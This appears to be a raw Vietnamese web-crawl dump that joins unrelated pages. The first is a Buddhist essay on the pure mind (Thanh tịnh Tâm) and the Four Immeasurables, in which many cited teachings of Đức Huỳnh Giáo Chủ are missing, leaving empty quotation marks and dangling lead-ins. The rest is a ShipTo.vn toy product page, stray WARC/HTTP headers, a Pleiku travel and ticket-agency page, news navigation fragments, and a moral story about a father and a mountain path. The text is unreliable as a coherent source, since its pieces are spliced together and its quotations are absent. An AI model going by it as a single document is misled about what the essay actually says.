Thanh tịnh Tâm là gì? – Là lòng trong sạch. Cái tự tâm và tự tánh của con người vốn trong sạch, không ô-nhiễm. Thanh tịnh Tâm cũng là Thanh tịnh Ý. Tâm thanh tịnh thì Ý nghiệp cũng thanh tịnh, đồng thời Ngữ nghiệp và Thân nghiệp cũng sẽ thanh tịnh. Nhờ đó mà trí huệ dễ phát sinh. Hành giả tu theo đạo Phật lúc nào cũng giữ tâm thanh tịnh, đừng để thấm nhiễm bởi Ngũ dục lạc (Sắc dục, Thinh dục, Hương dục, Vị dục, Xúc dục).
Tâm có hai đặc tính: Vọng tâm và Tịnh tâm.
- Vọng tâm là phàm tâm, là dục tâm, là trược tâm.
- Tịnh tâm là chân tâm, là chánh tâm, là Thánh tâm.
Muốn đối trị Vọng tâm ta dùng Tịnh tâm.
Vọng tâm là tâm nghĩ quấy, toan tính điều chẳng phải lẽ, nghĩ điều chẳng hợp với đạo lý, với chánh pháp.
Trong một con người được cấu thành bởi ba bộ phận: Tâm lý, Sinh lý và Vật lý.
Sáu căn thuộc bộ phận Sinh lý học, thêm vào sáu trần thuộc phạm vi Vật lý học và sáu thức thuộc phạm vi Tâm lý học. Tổng hợp ba bộ phận nầy, tạo thành một cá nhân.
Đối tượng tiếp xúc của sáu căn (mắt, tai, mũi, lưỡi, thân, ý) là sáu trần, là các loại vật chất thuộc phạm vi Vật lý học. Màu sắc, hình tướng được con mắt thấy, âm thanh được lỗ tai nghe, mùi hương được mũi ngửi, vị được lưỡi nếm, cảm giác trơn nhám, mềm, cứng được thân xúc chạm và pháp trần là đối tượng của Ý căn, cũng gọi là Ý thức.
Do sáu căn tiếp xúc với sáu trần mà phát sinh ra sáu thức có công năng phân biệt và ghi nhớ. Sáu căn là công cụ của sáu thức tạo tác ra mọi hành vi thiện ác. Con người sở dĩ ở trong vòng sanh tử luân hồi là do sáu căn không được thanh tịnh. Mọi hành vi thiện ác từ hồi vô thỉ đến nay đều do sáu căn tạo ra. Mắt tham sắc, tai tham âm thanh, mũi tham mùi hương, lưỡi tham vị ngon ngọt, thân tham tiếp xúc với cái êm dịu, ý tham cảnh sung sướng.
Có tham thì có sân, vì bản chất con người luôn luôn muốn có, muốn thêm, không bao giờ thấy đủ, không bao giờ thỏa mãn với những gì mình đang có. Nếu không được như ý thì nẩy sinh lòng sân hận. Còn si mê là do tối tăm, vô minh nên không phân biệt chơn giả, rồi sanh phiền não. Hợp cả ba thành Tam độc: Tham, Sân, Si, hành ác nhiều, thiện ít, khiến cho con người càng xa vời ngày thoát ly sanh tử.
Vì mê muội nên vọng tưởng, suy nghĩ nối tiếp không ngừng từ chuyện nầy đến chuyện khác, từ người nầy đến người khác, từ đời nầy đến đời khác tạo thành một luồng tư tưởng vô cùng tận. Những lúc tư tưởng của ta dấy lên như vậy, muốn dừng lại cũng khó khăn. Thế nên khi còn khỏe mạnh mà ta dừng lại không được thì thử hỏi lúc lâm chung, thân thể đau đớn, thần kinh suy nhược, chắc chắn chúng ta bị nghiệp dẫn đi đâu thì đến đó. Chúng ta không làm chủ được tâm hành của chính chúng ta thì làm sao chúng ta dừng nghiệp được. Tâm hành là động cơ dẫn dắt chúng ta vào đường sanh tử luân hồi hay gọi là hành nghiệp.
Lại nữa tâm thức của chúng ta cũng luôn khởi vọng niệm. Khi thấy hình sắc thì khởi vọng niệm đẹp xấu, khi nghe âm thanh thì vọng niệm dễ nghe hay khó nghe, khi ngửi mùi vị thì vọng niệm dễ chịu hay khó chịu, khi nếm một vị nào đó thì vọng niệm ngon dở, khi xúc chạm vật gì thì vọng niệm thích hay không thích. Những vọng niệm như thế lâu dần tích chứa trong tâm thức của chúng ta với đủ mọi cảm tưởng vui, buồn, thương, ghét là nguồn gốc của phiền não khổ đau.
Con người muốn đạt được giác ngộ, giải thoát mọi khổ đau, dính mắc của chuyện thế gian, chỉ có hàng phục được vọng tâm, vọng tưởng tức là tâm được an trụ. Tuy vẫn sống ở thế gian, nhưng tâm an nhiên tự tại trước mọi lưới mê của cuộc đời thì cảnh giới Niết Bàn hiện tiền.
Đức Huỳnh Giáo Chủ cũng khuyên dạy chúng ta:
Sống trong thế gian nầy giữ được tâm thanh tịnh không phải là điều dễ dàng. Bản tâm thanh tịnh chính là Phật tâm, cũng là tâm thể của chúng sanh khi dẹp hết phiền não khổ đau, không còn dấy lên một niệm nào, dù niệm thiện hay bất thiện. Dù trong thời điểm nào, dù trong bất cứ nơi đâu, dù trong hoàn cảnh nào, bản tâm thanh tịnh chính là cảnh giới Niết Bàn. (Cảnh trí của người tu hành dứt sạch các phiền não và tự biết rằng mình chẳng còn luyến ái).
Dứt sạch phiền não tức là sống với tâm thanh tịnh. Vì chưa sống được hoàn toàn với tâm thanh tịnh, dù cho người hiền thiện cũng còn bị sanh tử luân hồi chi phối. Dù cho người đó có dẹp được tâm tham, sân, si thường tình của người thế gian, nhưng chưa dứt hẳn tâm tham, sân, si ẩn tàng trong tâm thức một cách vi tế (nhỏ mịn khó phân tích ra). Vi tế đối lại thô trọng. Trong Kinh sách gọi kẻ ngu, chậm lụt thì vướng các mối phiền não thô trọng; người trí khôn lanh, sắc sảo thì còn nhiễm những mối phiền não vi tế, cho đến các hàng Tiên ở cõi Sắc giới và Vô sắc giới cũng còn phiền não vi tế).
Vì còn tâm tham vi tế, nên còn mong cầu được an hưởng sung sướng ở cõi Tây Phương Cực Lạc hay Thiên Đàng. Nhưng tâm mong cầu nầy không đi sai với đường lối tu hành của Pháp môn Tịnh Độ. Như chúng ta biết, Pháp môn Tịnh Độ đưa ra một phương pháp tu là phải Tín, Nguyện, Hành. Phải tin tưởng tuyệt đối vào Tam Bảo. Phải thành tâm khẩn nguyện cầu về cõi Tây Phương Cực Lạc. Phải kiên trì niệm Phật không đợi thời khắc, đồng thời làm lành lánh dữ cũng như phải giữ giới hạnh thì lần lần phiền não dứt sạch, tâm ta trở nên an lạc vô cùng mầu nhiệm.
Họ không còn khởi niệm sân hận thường tình như bực tức khi nghe lời khó nghe, lời nhục mạ thô tục, vu khống, nhưng họ còn sân hận vi tế về tín ngưỡng hay tôn giáo mỗi khi có ai đụng chạm đến lòng tín ngưỡng của họ. Về điểm nầy, Đức Huỳnh Giáo Chủ khuyên:
Nếu hành y như lời khuyên của Đức Tôn Sư thì chúng ta giữ được tâm thanh tịnh.
Dù không còn tâm Si mê thường tình như xin xâm, bói toán, dựng đồng lên cốt nữa, nhưng họ chưa thấu hiểu hết được kiếp sống tạm bợ vay mượn của con người chỉ là một chuỗi dài sanh tử luân hồi nhiều đời nhiều kiếp. Họ không hiểu ngoài lương tâm, con người còn có cái tâm cao cả hơn, đó là Phật tâm, là tâm tánh sáng suốt, bất sanh, bất diệt mà mỗi người đều có, như lời giáo huấn của Đức Huỳnh Giáo Chủ:
“
Trong mỗi người chúng ta đều biết mình có bản tâm thanh tịnh nhưng chưa hoàn toàn, khi được khi không, khi lành khi dữ, khi thiện khi bất thiện. Vì tập khí nhiều đời chưa dứt sạch nên tâm ý còn lăng xăng lộn xộn, tạp niệm đủ thứ, nghĩ chuyện đàng Đông, chuyện đàng Tây…
Cũng có người quyết tu tâm dưỡng tánh, thiệt hành trong mọi thời gian, tận tâm, tận lực cho đến ngày nào đó được giác ngộ giải thoát. Họ có lập trường vững chắc theo “Đường đạo đức bước đi từng nấc.” Họ là người bước từng bước vững chắc trên đường tu tập dù có bị vấp ngã cũng cố gắng đứng dậy vươn lên, tinh tấn dũng mãnh cho đến khi nào hoàn toàn sống với bản tâm thanh tịnh. Ngay tại giây phút đó họ đã trọn thành Phật đạo và Phật tâm hiển lộ viên mãn.
Phật tâm chỉ hiển lộ khi nào tâm ý hoàn toàn thanh tịnh, không chất chứa điều phiền não, hoàn toàn trống rỗng, tịch tịnh, không còn tham, sân, si dù là thường hay vi tế. Bản tâm thanh tịnh luôn luôn tự tại, thản nhiên trước mọi thăng trầm ở thế gian tức là vượt qua sóng gió của cuộc đời dù nhiều hay ít, ví như mặt gương, khi có người hay vật đi qua thì hiện rõ hình dáng trong gương. Nhưng khi người hay vật qua rồi thì hình ảnh ấy biến mất trong gương. Tấm gương trở lại trạng thái bình thường. Bản tâm thanh tịnh của ta cũng vậy, luôn luôn trống lặng, không lưu trữ do tâm thương ghét, buồn vui. Vì duyên theo cảnh trần mà khởi niệm hỉ, nộ, ái, ố…
Chúng ta đau khổ vì cứ nhận cái lăng xăng, lộn xộn bên ngoài, cái suy nghĩ của Lục căn, Lục trần, Lục thức chi phối rồi cho đó là tâm, chớ đâu có biết đó là vọng tưởng, là trong cơn mê. Khi dứt suy nghĩ, biết đó là lầm lạc, hết chạy theo trần cảnh bên ngoài hết “tâm viên, ý mã” thì ngay lúc đó chân tâm hiển hiện, đã qua cơn mê, trí tuệ được soi sáng, là giác ngộ.
Có tâm TỪ khiến ta yêu thương không những người thân mà cả người sơ cho đến người mình cho là thù địch với mình. Thương người tốt lại cũng thương người xấu. Thương không có tính lựa chọn ở hiện tại mà người xấu và người ác là người chưa tốt và chưa thiện mà thôi.
Tâm TỪ là tình thương không giới hạn trong gia đình màu da, sắc tộc, đoàn thể, tôn giáo, đảng phái, quốc gia. Tình thương nầy không những bao trùm toàn thể nhân loại mà còn rộng ra cho đến muôn loài vạn vật đang có ở cõi Ta Bà nầy.
Người tu theo Phật xứng đáng là người luôn luôn nuôi trong tâm đức TỪ vô biên vô hạn, vì giáo lý của nhà Phật căn bản là tâm TỪ. Đã hơn hai mươi lăm thế kỷ, Đức Phật đã rải khắp nơi lòng TỪ của Ngài cho nhân loại. Nhờ có được lòng TỪ mà bao nhiêu vĩ nhân đã đắc Thánh quả hay Bồ Tát, vượt lên Tham, Sân, Si thoát ngoài vòng chấp ngã.
Trong hiện tại, hầu như toàn thể loài người thể hiện lòng TỪ để tạo nên một thế giới con người biết thương yêu nhau, một thế giới hòa bình không có chiến tranh, không còn ganh tị hiềm thù, không còn thượng trọng, hạ khinh, phú kiêu, bần siểm…
Nếu ai có được lòng TỪ như vậy, là đã đạt một tinh thần cao cả, được yên vui trong kiếp nầy và sẽ mang theo kiếp tới tăng bội yên vui hạnh phúc.
Những yếu tố trong Vô lượng tâm có liên quan với nhau. Trong TỪ đã có BI và BI do lòng TỪ mà ra. Tâm BI và tâm TỪ hoàn toàn tác động ngoài cái ta. Hành động ngoài ý vụ lợi không mong cầu cái lợi được trả lại dù vật chất hay tinh thần. Với tâm BI không phải vì muốn dứt khổ của người nầy mà gây cái khổ cho người khác. Cũng không có quyền lấy hạnh phúc của người nầy đổi lấy cái khổ của người khác. Cũng như tâm TỪ, ta không có quyền cướp mạng sống của con vật nầy để nuôi con vật khác.
Người có tâm BI, cũng như tâm TỪ, là người có tâm trạng sáng suốt, bình thản nhận định rõ ràng sự việc không bị nội tâm hay ngoại cảnh kích thích trong khi chia sớt khổ đau với kẻ khác, giải khổ cho kẻ khác một cách bình tĩnh không bị xúc động.
Cũng như tâm TỪ và tâm BI, tâm HỈ phải được rải khắp mọi nơi không giới hạn trong một phạm vi nào. Thực hành tâm HỈ là ta đã tạo được cho ta một trạng thái của tâm hoàn toàn thanh tịnh phát ra tự chỗ không vì ngã, lấy cái vui của tha nhân làm cái vui cho ta và đặt cái vui của ta ngoài bản ngã của ta. Ta và người vui kia chỉ là một.
Có TỪ, có BI, có HỈ mà không có XẢ thì Tứ vô lượng tâm không thành. Thật vậy, TỪ mà không XẢ thì thương vẫn còn vì Ta. BI mà không XẢ là buồn vẫn còn vì Ta. HỈ mà không XẢ thì vui vẫn vì Ta. Chưa XẢ được thì tâm vẫn còn tưởng nghĩ quanh quẩn với Tham, Sân, Si. Muốn đạt được TỪ, BI, HỈ là phải nhờ XẢ là điều kiện cần thiết nghĩa là không bám giữ lại hình ảnh tốt hay xấu, vui hay buồn của vạn vật.
Khi suy nghĩ, nói năng, hành động theo Tứ vô lượng tâm TỪ, BI, HỈ, XẢ thì tâm thức của người ở trong cảnh giới Thiên đàng và ngược lại với phàm tâm, Tham, Sân, Si thì tâm thức ở trong cảnh giới Địa ngục.
Là người biết tu tâm dưỡng tánh, nên nhẫn nhịn để tránh được hậu quả phiền toái hầu giữ gìn được tâm thanh tịnh, chính là cứu cánh của đạo Phật.
Chúng ta tinh tấn làm các điều thiện, dù lớn, dù nhỏ, giúp đỡ người, làm cho cuộc sống chính mình và của người chung quanh có ý nghĩa, an lạc, hạnh phúc với tấm lòng chân thành bất vụ lợi.
Đạo Phật dạy nhiều pháp môn cho người ta tu, tùy theo trình độ, căn cơ, hoàn cảnh, sở thích, tâm nguyện của mỗi người. Những pháp môn đều là những phương pháp để được người tu hàng phục được vọng tâm và an trụ chơn tâm hầu giữ được tâm thanh tịnh, cũng nhằm mục đích bước lần đến giải thoát.
Kinh sách có câu: “Tam nghiệp hằng thanh tịnh đồng Phật vãng Tây Phương”, nghĩa là Tam nghiệp thân, khẩu, ý đều được thanh tịnh, không tạo nghiệp nữa thì phước báu vô lượng, vô biên, chúng ta cùng chư Phật sống trong cõi Tịnh độ Tây phương.
Trong Kinh Kim Cang, Đức Phật dạy: “Quá khứ tâm bất khả đắc. Hiện tại tâm bất khả đắc. Vị lai tâm bất khả đắc.” Chuyện quá khứ qua rồi đừng luyến tiếc, đừng nghĩ làm gì cho bận tâm, chỉ gieo thêm nghiệp chướng chẳng ích gì. Chuyện hiện tại rồi cũng qua, cố níu kéo cũng chẳng được gì, có lo âu phiền muộn cũng chẳng ích gì. Chuyện tương lai chưa đến, lo lắng, ưu tư sầu muộn cũng chẳng giúp ích gì. Chi bằng chúng ta giữ tâm trí được thanh tịnh, như như, thản nhiên. Điều cần nhất là chẳng nên tạo thêm nghiệp mới để tránh quả báo sẽ đến.
Sau khi lòng lắng xuống, không còn khổ đau, phiền não, không còn tức giận, hận thù, không còn ganh tị, không còn thương ghét; chúng ta thấy được mọi người đều có bản tâm thanh tịnh như nhau, thấy được “tâm cảnh như như” không khác.
Chúng ta nhìn mọi người với ánh mắt từ bi, nên thấy mọi người đều hiền từ. Nhìn đời với tâm tư lạc quan, lòng ta cảm thấy an lạc và hạnh phúc hiện đời. Chúng ta sống với tâm Từ, Bi, Hỉ, Xả, đem yêu thương đến cho mọi người chung quanh. Niềm an lạc đó chính là cảnh giới Niết Bàn, không phải chờ đến khi từ giã cõi đời.
Muốn thành tựu ở cảnh giới thanh tịnh, con người phải cố gắng, kiên trì, tinh tấn, cắt đứt mọi cám dỗ của cuộc đời. Muốn có được cuộc đời an lạc, hạnh phúc ở thế gian không phải dễ dàng. Chúng ta còn phải đối diện với mọi hoàn cảnh bất trắc, bất như ý chung quanh. Chúng ta phải sống thực với chính mình, với tâm khiêm tốn, thiệt hành hạnh Từ, Bi, Hỉ, Xả và cố gắng giúp đỡ người chung quanh mình được giác ngộ cùng hướng về chánh đạo.
Người đi trên đường Đạo, cần phải tỉnh tâm, lắng lòng, quay nhĩ căn vào bên trong, hướng nội, thì tự nhiên thấy tiếng huyền diệu át tiếng thế gian, dạy bảo ta làm điều thiện, tránh làm việc xấu ác, lìa mê thành giác, bỏ cái giả trở về cái chân thật, bỏ cái tầm thường giả tạm để về chỗ cao siêu, bỏ thế gian nhập vào bản thể, tự tánh thanh tịnh.
Trong Kinh Đại Niết Bàn có bài Kệ:
Nghĩa là:
Hành được hai câu đầu của bài Kệ, phải là người có lương tâm. Người có lương tâm, nhận thức nội tâm theo lẽ phải, trái, đúng, sai, tự đánh giá về hành vi của mình theo tinh thần đạo đức. Lương tâm ví như Quan Tòa xét qua hành động của con người về tội phước. Lương tâm giúp cho con người biết làm tròn bổn phận đối với nhân sinh xã hội, hướng dẫn con người được sáng đẹp, được giác tiến để đưa con người đến chỗ Thiện-Mỹ.
Hành câu thứ ba, là người giữ được tâm thanh tịnh. Cứu cánh của đạo Phật là chuyển biến tâm chúng sanh thành chánh tâm, Bồ đề tâm.
Mục đích của người tu là đi đến Giải
thoát. Muốn giải thoát, trước hết phải dứt được lục căn, lục trần và lục thức.
Giải thoát là cởi mở sự trói buộc của
nghiệp luân hồi sanh tử, chứng đắc quả A-la-hán lên Duyên giác, Bồ tát và Phật.
Vậy giải thoát cũng cùng nghĩa với Niết Bàn (chỗ bất sanh, bất diệt). Đức Huỳnh
Giáo Chủ cũng dạy
Đức Huỳnh Giáo Chủ viết ra Kệ Sám cũng
vì
Tỏ ngộ là thấu đạt chơn lý mầu diệu của Đạo tức là ngộ đạo. Về câu chuyện ngộ đạo của Ngài Huy Sơn. Huy Sơn đến Giang Tây tham cầu học đạo với Tổ Bá Trượng. Một hôm nọ, Huy Sơn đang đứng hầu Bá Trượng. Tổ gọi Huy Sơn và bảo: “Vào trong nhà lấy lửa!”.
Huy Sơn vào trong khươi tro hồi lâu trở ra và nói: “Bạch Thầy, trong lò không có lửa.”
Tổ Bá Trượng liền rời chỗ ngồi, bước đến lò sưởi bươi sâu xuống, gắp được cục lửa đỏ, đưa lên cho Huy Sơn xem và nói: “Ngươi nói không có lửa chớ cái gì đây?”
Ngài Huy Sơn nhơn đó mà tỏ ngộ chơn tánh.
Trong câu chuyện nầy cho ta thấy: Huy Sơn bươi lò tìm không ra lửa là ý nói Huy Sơn chưa rõ mình đã có sẵn chơn tâm rồi và cũng chưa biết phương pháp nhận chân nên chưa tỏ ngộ. Tổ Bá Trượng bươi lò tìm ra được lửa đưa lên, khiến Huy Sơn tỏ ngộ với ý nghĩa nhờ có Thầy chỉ cho phương cách mà Huy Sơn trực nhận bản tâm, liễu ngộ chơn tánh, cũng như câu “Không thầy đố mầy làm nên” có cùng ý nghĩa.
Đức Huỳnh Giáo Chủ là bậc Thầy tôn kính của chúng ta thường ân cần dạy bảo những phương thức học Đạo trong giáo pháp của Ngài:
Ngài cũng khuyên hóa chúng ta trong công phu học Đạo:
Và trong quyển “Giác Mê Tâm Kệ”, Ngài chỉ rõ để giúp hành giả đạt đến chỗ an cư thanh tịnh. Ngài thuyết:
Cũng như:
Đức Huỳnh Giáo Chủ dạy: “
Đức Huỳnh Giáo Chủ nói:
Nam Mô A Di Đà Phật !
[9. Tập-San Tinh-Tấn](/tap-san-tinh-tan) > [Số 20](/tap-san-tinh-tan/so-20) >


text:
Bandai Dragon Ball Z Kai Kyukyoku! DX Chosenshi Scouter Red ver.
Sản phẩm này được bán tại www.amazon.com
Thương hiệu: LaLShop
Ngay sau khi quý khách đặt hàng và thanh toán, ShipTo.vn sẽ mua sản phẩm từ Mỹ và vận chuyển về Việt Nam
Sản phẩm tạm thời ngưng bán trên Amazon. ShipTo.vn sẽ theo dõi và tìm mua từ nhà cung cấp khác
Chọn số lượng:Xem chi tiết sản phẩm tại www.amazon.com
-
Giá giảm 10-50%
so với hàng xách tay
-
100% sản phẩm thật
được mua trực tiếp từ Mỹ
-
Hoàn tiền 100%
nếu hàng bị thất lạc hư hỏng
-
Miễn phí dịch vụ
nếu giao hàng trễ
Mua hàng theo yêu cầu
-
1.Đặt mua
Đặt mua những sản phẩm được ShipTo.vn tuyển chọn, hoặc gửi link của sản phẩm muốn mua để nhận báo giá.
-
2.Thanh toán
Thanh toán cho ShipTo.vn (tiền mặt, chuyển khoản, hoặc thẻ tín dụng).
-
3.Vận chuyển
ShipTo.vn mua hàng từ nước ngoài, chuyển về Việt Nam, và lo tất cả thủ tục hải quan.
-
4. Giao hàng
ShipTo.vn giao hàng tận nơi miễn phí trong vòng 10 - 20 ngày làm việc kể từ ngày thanh toán.
Vận chuyển theo yêu cầu
-
1.Đăng ký địa chỉ Mỹ
Đăng ký tài khoản ShipTo.vn có ngay địa chỉ riêng tại Mỹ.
-
2.Tự mua hàng
Tự mua tại bất kỳ website nào và chuyển hàng tới địa chỉ Mỹ của bạn.
-
3.Vận chuyển
ShipTo.vn nhận hàng, kiểm hàng và chuyển quốc tế.
-
4. Giao hàng
ShipTo.vn thông quan, giao hàng tận tay và thu tiền dịch vụ.
ĐĂNG KÝ EMAIL ĐỂ BẮT ĐẦU

markdown:
[0](/mua-hang/gio-hang)
# Bandai Dragon Ball Z Kai Kyukyoku! DX Chosenshi Scouter Red ver.
Sản phẩm này được bán tại
[www.amazon.com](http://www.amazon.com/Bandai-Dragon-Kyukyoku-Chosenshi-Scouter/dp/B00IK7TOJS)
Thương hiệu:
[LaLShop](/thuong-hieu/lalshop_th1241)
Ngay sau khi quý khách đặt hàng và thanh toán, ShipTo.vn sẽ mua sản phẩm từ Mỹ và vận chuyển về Việt Nam
Sản phẩm tạm thời ngưng bán trên Amazon. ShipTo.vn sẽ theo dõi và tìm mua từ nhà cung cấp khác
Chọn số lượng:
[Xem chi tiết sản phẩm tại www.amazon.com](http://www.amazon.com/Bandai-Dragon-Kyukyoku-Chosenshi-Scouter/dp/B00IK7TOJS)
-
Giá giảm 10-50%
so với hàng xách tay
-
100% sản phẩm thật
được mua trực tiếp từ Mỹ
-
Hoàn tiền 100%
nếu hàng bị thất lạc hư hỏng
-
Miễn phí dịch vụ
nếu giao hàng trễ
#### Mua hàng theo yêu cầu
-
1.Đặt mua
Đặt mua những sản phẩm được ShipTo.vn tuyển chọn, hoặc gửi link của sản phẩm muốn mua để nhận báo giá.
-
2.Thanh toán
Thanh toán cho ShipTo.vn (tiền mặt, chuyển khoản, hoặc thẻ tín dụng).
-
3.Vận chuyển
ShipTo.vn mua hàng từ nước ngoài, chuyển về Việt Nam, và lo tất cả thủ tục hải quan.
-
4. Giao hàng
ShipTo.vn giao hàng tận nơi miễn phí trong vòng 10 - 20 ngày làm việc kể từ ngày thanh toán.
#### Vận chuyển theo yêu cầu
-
1.Đăng ký địa chỉ Mỹ
Đăng ký tài khoản ShipTo.vn có ngay địa chỉ riêng tại Mỹ.
-
2.Tự mua hàng
Tự mua tại bất kỳ website nào và chuyển hàng tới địa chỉ Mỹ của bạn.
-
3.Vận chuyển
ShipTo.vn nhận hàng, kiểm hàng và chuyển quốc tế.
-
4. Giao hàng
ShipTo.vn thông quan, giao hàng tận tay và thu tiền dịch vụ.
[ Mở rộng](javascript:void(0);) [ Thu gọn](javascript:void(0);)
ĐĂNG KÝ EMAIL ĐỂ BẮT ĐẦU

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: application/xhtml+xml

Cache-Control: private, no-cache="Set-Cookie"

Content-Type: text/html; charset=utf-8

Set-Cookie: website_id=1; expires=Fri, 20-Jul-2018 17:00:00 GMT; path=/

Connection: close


text:
Thành phố Pleiku thuộc tỉnh Gia Lai nằm bên Biển Hồ Tơ Nưng, một miệng núi lửa ngừng hoạt động trăm triệu năm, tài nguyên quý để xây dựng thuỷ điện Yaly. Đường Biển Hồ đẹp như mơ với rặng thông xanh ngắt, chùa Minh Thành hay chùa Thày Năm bình an, thanh tĩnh. Pleiku lãng đãng sương mù, ngày hội đủ 4 mùa sáng Xuân, trưa Hạ, chiều Thu, tối Đông, đẹp say lòng người.
Không sở hữu vẻ đẹp mỹ miều, tráng lệ, Gia Lai từng chút một chinh phục người thưởng ngoạn bởi vẻ đẹp hoang sơ của núi rừng, sông suối, thác nguồn và cả tấm lòng mến khách của những người dân nơi đây. Đến Gia Lai, muốn ngắm vẻ đẹp của những triền hoa dã quỳ vàng rực khắp nẻo bạn nên chọn thời điểm những tháng cuối năm. Đây cũng là lúc vào mùa của những lễ hội độc đáo nơi đây như: lễ mừng lúa mới, lễ ăn cơm mới, lễ hội cồng chiêng, lễ hội đâm trâu, lễ cúng làng cuối năm, lễ bỏ mã…
Các hãng hàng không khai thác đường bay nội địa đến sân bayPleiku (Gia Lai)đang được 3 hãng hàng không của Việt Nam: Vietnam Airlines, Vietjet Air và Jetstar đăng ký khai thác các đường bay nội địa, trong đó Vietnam Airlines có điểm đến là Đà Nẵng, Hà Nội, Tp. Hồ Chí Minh; Vietjet có điểm đến là Hà Nội, Tp. Hồ Chí Minh, Hải Phòng, Vinh; Jetstar có điểm đến là Tp. Hồ Chí Minh, Hà Nội.
Hồ Chí Minh
87 Đinh Tiên Hoàng P3, Bình Thạnh HCM.
Quốc tế: (028) 3514 6666 - Nội địa: (028) 3518 0456
Hotline: 0914609247 - saigon@vemaybay247.com
Website: vemaybay247.com
Hà Nội
5 Đào Duy Anh, Quận Đống Đa Hà Nội
Hotline: (024) 85855.247 - 0912.612.387
Email: hanoi@vemaybay247.com
Website: vemaybay247.com
Đà Nẵng
297 Lê Thanh Nghị, Hải Châu Đà Nẵng.
Hotline: 0914 962 247 - Tel: (0236) 6530 888
Email: danang@vemaybay247.com

Cache-Control: private


text:
Đời sống
Châu Âu
Giao thông
Sản phẩm mới
Môi trường
Xã hội
Bóng đá
(Vietnam+)
04/06/2016 18:58 GMT+7
Bản in
Châu Á-TBD
Châu Mỹ
Trung Đông
Châu Á-TBD
Xã hội
Bóng đá
Trung Đông
Đời sống

Cache-Control: no-cache

Pragma: no-cache

Connection: keep-alive


text:
Đường đời lắm gian truân khúc khuỷu, con người nhiều khi vì muốn đạt được mục đích mà sử dụng cách thức chẳng thẳng ngay. Nhưng rốt cuộc, chỉ con đường ngay chính, mới là con đường duy nhất bình an.
Gia đình tôi sống trong một ngôi nhà nằm sâu trong một ngọn núi cao. Để đi ra bên ngoài, chúng tôi phải đi qua một con đường núi uốn lượn và gập ghềnh. Người dân trong làng, nhà nhà đều dựa vào hái măng đem bán để kiếm sống. Cứ đến ngày chợ phiên, người lớn, trẻ em ở trong làng đều địu măng, băng qua con đường uốn lượn, gập ghềnh đó để đến chợ bán.
Người dân làng tôi mỗi lần xuống núi đều phải đi qua con đường vừa xa vừa uốn lợn như vậy. Nhưng về sau này, một vài người vì để chiếm được một vị trí tốt, dễ bán hàng ở chợ nên họ liền mở ra một con đường tắt, gần hơn, nhưng độ nguy hiểm thì cao hơn. Biết là nguy hiểm hơn nhưng vẫn có nhiều người nguyện ý chọn đi con đường này.
Cha tôi cũng giống mọi người dân trong làng, cứ mỗi phiên chợ, ông đều địu măng đi bán. Nhưng cha tôi chưa từng đi qua con đường tắt ấy. Mỗi đợt nghỉ hè, tôi lại về quê lên rừng hái măng và đem ra chợ bán cùng cha. Mồi lần đi trên con đường uốn lượn ấy, trong lòng tôi lại dâng lên nhiều cảm xúc.
Về sau, tôi thường xuyên khuyên nhủ cha: “Cha ơi! Chúng ta cũng đi con đường tắt kia đi, chẳng phải sẽ nhanh hơn một chút hay sao?”.
Nhưng cha tôi nghe xong vội vàng lắc đầu, kiên quyết đi con đường cũ. Cứ như vậy, mỗi lần đến chợ chúng tôi đều không tìm được chỗ tốt, những chỗ dễ bán hàng đều bị những người đồng hương đi con đường tắt ngồi mất rồi. Măng của cha con tôi thường bán hết muộn hơn so với mọi người, vì thế, tôi thường sinh ra tâm trách móc.
Cha tôi cơ bản không để ý đến nỗi oán hận trong lòng tôi và cũng từ đó, câu hỏi “vì sao không đi đường tắt, mà cứ phải đi con đường uốn lượn xa tít như vậy?” đã trở thành chỗ khó lý giải nhất trong lòng tôi…
Nhiều năm sau, tôi sinh sống ở thành phố, cách quê tôi hơn ngàn dặm, vì thế tôi đón cha tôi lên ở cùng. Ngày đi, cha tôi không ngồi trên xe, khăng khăng đòi đi bộ trên con đường uốn lượn ngoằn ngoèo ấy. Tôi đành xuống đi bộ cùng cha, cũng muốn nhân cơ hội này cởi bỏ khúc mắc ở trong lòng nhiều năm qua.
Tôi hỏi cha tôi: “Cha! Con luôn muốn biết, vì sao cha luôn muốn đi trên con đường này, mà chưa từng đi trên con đường tắt kia?”.
Cha nghe xong câu hỏi của tôi, lặng im đứng thật lâu và đưa ánh mắt nhìn về phía trước con đường. Bất chợt nước mắt cha chảy dài trên má, rồi cha nói: “Con trai! Bởi vì cha nhất định phải bảo trì sự bình an. Cha dựa vào bán măng để nuôi con khôn lớn và học hành thành tài, mấy chục năm qua, cha luôn bình an vô sự.
Mấy bác mấy chú của con đều đi đường tắt, nhưng con thấy đấy, bác Vương bị ngã gãy tay hai lần, măng không biết rơi mất đi bao nhiêu lần, anh Tư bị nặng nhất, một lần ngã lăn xuống núi rồi qua đời…Những người đi con đường tắt ấy, nào có mấy ai thực sự được bình an vô sự đâu!”.
Những lời nói này của cha khiến tôi trầm tư suy nghĩ: “Đúng vậy! Những người đồng hương đi trên con đường tắt ấy, hoặc ít hoặc nhiều đều gặp nguy hiểm!”.
Cha kéo tôi ngồi xuống bên đường, giọng cha trầm lại nói với tôi: “Con đường này uốn lượn khúc khuỷu nhưng vĩnh viễn là con đường chính xuống núi. Không thể vì một chút lợi ích nhỏ nhoi mà buông bỏ con đường chính của mình. Con đường này là con đường bình an, đi trên con đường này, cả đời sẽ bình an. Con trai! Điểm này con phải khắc sâu trong tim, cha hy vọng nó sẽ chỉ cho con một con đường!”.
Những lời nói của cha đã khiến tôi xúc động. Từ con đường gập ghềnh ấy, tôi cũng hiểu được rất nhiều đạo lý của cuộc đời.
Đường đời cũng tựa như con đường núi này, phải trải qua rất nhiều gập ghềnh khúc khuỷu, nhưng phương hướng thì không thể sai. Mỗi người đều phải thủy chung đi trên con đường ngay chính, chỉ có đi trên con đường ngay chính thì cuộc đời mới bình an. Con đường này cũng sẽ vì chúng ta đi qua mà hiển lộ ra giá trị của nó, giá trị này cũng chính là giá trị của cuộc đời chúng ta.
Từng có người hỏi nữ văn sĩ, nhà hoạt động xã hội, diễn giả người Mỹ bị mù, câm và điếc Helen Keller rằng: “Bà có thể nhìn thấy thế giới này không?”.
Bà Helen Keller trả lời rằng: “Tôi đương nhiên có thể nhìn thấy… Mọi người là dùng con mắt để nhìn, cho nên có thể nhìn thấy thế giới do con người sáng tạo ra. Còn tôi là dùng trái tim để nhìn, cho nên thế giới mà tôi nhìn thấy là do Thượng Đế sáng tạo nên”.
